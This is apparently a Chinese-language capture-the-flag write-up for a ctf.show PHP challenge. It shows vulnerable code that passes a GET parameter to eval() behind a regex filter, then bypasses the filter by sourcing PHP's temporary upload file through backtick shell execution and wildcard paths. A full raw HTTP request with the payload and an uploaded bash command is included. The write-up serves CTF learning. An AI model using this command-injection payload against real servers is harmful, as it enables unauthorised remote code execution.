上来先代码审计
点击查看代码
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);
}
?>
确实没头绪,感觉被限制死了不知道怎么绕过,连着看了几篇博客,属实是没想到能这样绕过
首先没有被限制的字符: p . \ = < > ? ‘ ’
那么能利用这些能干什么呢
先介绍一下一个php的机制:
在php里面,只要我们有上传文件请求包发送,那么php就会把这个文件存到临时文件里面而在nginx里面这个目录一般为\tmp目录
接下来再说说上述几个字符能干什么呢
可以构造这个语句
cmd=?><?=. /??p/p?p??????
;
先解释一下这个语句的意思
首先介绍一下这个反引号
在php里面反引号里面的内容会被当做shell命令被执行
如图
. 等价于source命令,查了查解释如下
“source” 命令用于在当前的命令执行环境中读取并执行指定的脚本或配置文件。
也就是说他会将指定文件内容当做命令执行,如下图
< ? =相当于<?php echo 简写版本如图
在php里面临时文件名字由php和随机的四个或者6个字符组成,在window里面还会加上tmp的扩展名
? 相当于通配符,也就是说可以是任何字符我们/??p/p?p??????要匹配的就是/tmp/php******的临时文件(*表示随机的字符)
解释清楚方法了,接下来讲讲思路
也就是说首先我们要上传一个文件,里面包含命令,然后哦用cmd=?><?=. /??p/p?p??????
来读取这个命令的回显
这是我们上传临时文件的包
POST /?cmd=?%3E%3C?=`.%20/??p/p?p??????`; HTTP/1.1
Host: cb44aaa3-a5ee-415e-b01a-c3a94fdc0432.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: UM_distinctid=1739f845e394-0cffbf96840b0c8-4c302d7c-144000-1739f845e3b4e2
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 245
-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain
#! /bin/bash
ls ../../../
-----------------------------10242300956292313528205888--
看到发的flag位置了
cat flag就行了